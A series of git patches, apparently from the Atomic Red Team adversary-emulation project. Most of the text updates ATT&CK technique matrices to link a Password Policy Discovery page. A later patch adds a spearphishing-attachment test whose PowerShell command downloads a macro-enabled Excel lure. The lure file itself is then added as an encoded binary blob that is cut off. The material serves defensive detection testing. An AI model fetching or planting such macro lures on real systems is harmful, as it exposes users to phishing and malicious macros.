complexity policy - CentOS/RHEL 6.x [centos] + - Atomic Test #4: Examine password expiration policy - All Linux [linux] - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index b04c4f5a..7f88902a 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -5,7 +5,7 @@ | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 656b2ba7..eef0f6c3 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -65,7 +65,7 @@ - Atomic Test #1: Scan a bunch of ports to see if they are open [linux, macos] - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #1: Network Share Discovery [macos, linux] -- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1201 Password Policy Discovery](./T1201/T1201.md) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - Atomic Test #1: Permission Groups Discovery [macos, linux] - [T1057 Process Discovery](./T1057/T1057.md) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index 5712950b..5f700815 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -7,7 +7,7 @@ | Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Agent](./T1159/T1159.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Launch Daemon](./T1160/T1160.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | [Input Capture](./T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Users](./T1147/T1147.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](./T1018/T1018.md) | | [Screen Capture](./T1113/T1113.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/matrix.md b/atomics/matrix.md index 669d9754..71cee44c 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -7,7 +7,7 @@ | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | [Permission Groups Discovery](./T1069/T1069.md) | [Remote File Copy](./T1105/T1105.md) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Process Discovery](./T1057/T1057.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index 2a33b4b5..253705e4 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -224,7 +224,7 @@ - [T1135 Network Share Discovery](./T1135/T1135.md) - Atomic Test #2: Network Share Discovery command prompt [windows] - Atomic Test #3: Network Share Discovery PowerShell [windows] -- T1201 Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1201 Password Policy Discovery](./T1201/T1201.md) - T1120 Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1069 Permission Groups Discovery](./T1069/T1069.md) - [T1057 Process Discovery](./T1057/T1057.md) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index e77e3eb4..e18b6d7d 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -7,7 +7,7 @@ | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Password Policy Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [InstallUtil](./T1118/T1118.md) | [Change Default File Association](./T1042/T1042.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Permission Groups Discovery](./T1069/T1069.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Email Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [DCShadow](./T1207/T1207.md) | Kerberoasting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Discovery](./T1057/T1057.md) | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | From 5b8793e8f1a7db3a1a20bc9d5e5983cfaf5cb7f3 Mon Sep 17 00:00:00 2001 From: Swelc Date: Sat, 30 Jun 2018 23:25:59 -0500 Subject: [PATCH 65/91] Added Spearphishing Attachment --- atomics/T1193/T1193.yaml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 atomics/T1193/T1193.yaml diff --git a/atomics/T1193/T1193.yaml b/atomics/T1193/T1193.yaml new file mode 100644 index 00000000..985a8b48 --- /dev/null +++ b/atomics/T1193/T1193.yaml @@ -0,0 +1,17 @@ +--- +attack_technique: T1193 +display_name: Spearphishing Attachment + +atomic_tests: +- name: Download Spearphishing Attachment + description: | + Downloads simple macro-enabled excel file. + + supported_platforms: + - windows + + executor: + name: powershell + command: | + [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 + Invoke-WebRequest -Uri https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1193/PhishingInvoice.xlsm -OutFile PhishingInvoice.xlsm From fdf75dce3e4d81773e746c837b29407c96536338 Mon Sep 17 00:00:00 2001 From: Swelc Date: Sat, 30 Jun 2018 23:30:00 -0500 Subject: [PATCH 66/91] Added Spearphishing file --- atomics/T1193/PhishingInvoice.xlsm | Bin 0 -> 18423 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 atomics/T1193/PhishingInvoice.xlsm diff --git a/atomics/T1193/PhishingInvoice.xlsm b/atomics/T1193/PhishingInvoice.xlsm new file mode 100644 index 0000000000000000000000000000000000000000..ac70a50bbb42123b8930d52156de2a7f8d9610e8 GIT binary patch literal 18423 zcmeIa1AAu8wl4g{M#r{ob!;0Q+qToOopj8OZQHh;j_q`uoV;u8ecru#t?&B-XV2@J zPhAsZ%vtjpca2e1<1TqA5Kt5VH~fx{m?m~CEO<9 zb3EU;ly4Cqz4lAVXzPTW@ z!EP>g4WEup@rnw5ZR67ODs5aRZJs9=FkgXLJdin%Blh6|(42J+H0D@+s^m&aGvHL+U-07UG2htKQi+6H&j$uQyX9hUM4B$Thjjjk2J$VOIZeq_lNtjCizLZpW496GBDSbAZiaP9QV7gN2HEczA|AeKY zWX5S;ZII=_MdYq)WYv8uoZf}}=0z);F|0_$g7nBVB{oEwbN^kVp5=Nh)4iV^s;_ML zYQ#SRzj*W0>HRxMzysgS$Um>NfB*nk07xJ=EBb%p#MRcp(!kc%@-K(@-WH$((q}>Z$~in6X>8;cO`Sgiznsr z%H!dH+J?aA+55JX%39Z{CrYh9qkl~7mzMc6C49U2unLV&AQBe#TfN$WBFckQw7``H zw*=n&v++@G3(WJi=m8)vo=5e5S>zaRnL{Lp20|^lTv0{?)yAVyNs;s7V3Wsaig{v6W4Vo*e+-^N! z2`2bNk}=mQ_%lW$9Agb~9Hv0Y ziXIS`OvLQ+eQ<0+yML$d?*Ia{+qtg`>cM@c=Eg4(ya zAhL7_e4b^LCT+`}@R~ND+I5)S1*sG0H5LS-sSTN?qeVr6nbM+0mB+VHbJli8EIMi$ z2Fk^jl>@HCR_cb|89rNmWE))_Z0cJN5G-d`RB*ROlo}D@CHl;(sZAv(udb44XX7HP zor?ChqG@<4cwd90W2rbV69faQrb9D8VMK;?Lms@0;*NV8ESUWKcM$+=a~cYm8gjS) zCc)fbKw`Pcq>cqo_IU*MsfT?Ij}N`OfP2+Pd-~Z#7xP(e`zMr=utT{xO*8P^g~+3J z0Nb)XVGd3t*psUesUH<6vp<7fzj~nUsZ=?%A@Ry^WZr%QMGQC)hPQHx5lJwSG=11_JVS-W6&0+&vG&mk6 zp3BUF?^l(Y0dc9+S0;GIOmSlK6d2&$nRU|Ho{t2#Ej4EA zO3~^s`SLxD=3O>-;q+p?7*+-8*mJ}^I*rC<&9SyHW3N>UaAwvR5(&1J_?ku~8q4{9 zbpwz8&Xt};c)8BI`T!CO))LSe?9lOqm%!hDf!T;dt3z_K)i2(QBJS*6aU-Tjr zxe$F_>q<$fRwl~m=EE4L@3OGp1O$%|j4CIX8}T0-dNGO%8`P|oG&HcO9upE&(@hf!37zWMrB z{|OWTK=~(<9nJI|jE$6>9L#M@9slwdk;-cpYy61b^mq8+_qp_8`y3tmMqrw%#s1cq zmfB`pjk6>g%Mq<@;paZyLoU!2dx8QqXPjUA##5QYFMdn*GHZ}WW`VK?=mUzSl%U>N zpc>EKpOpZUj@tI-EVBL}t=n`yZ&VJGAOjZcP!^Zz_86_Tq5~V9iO

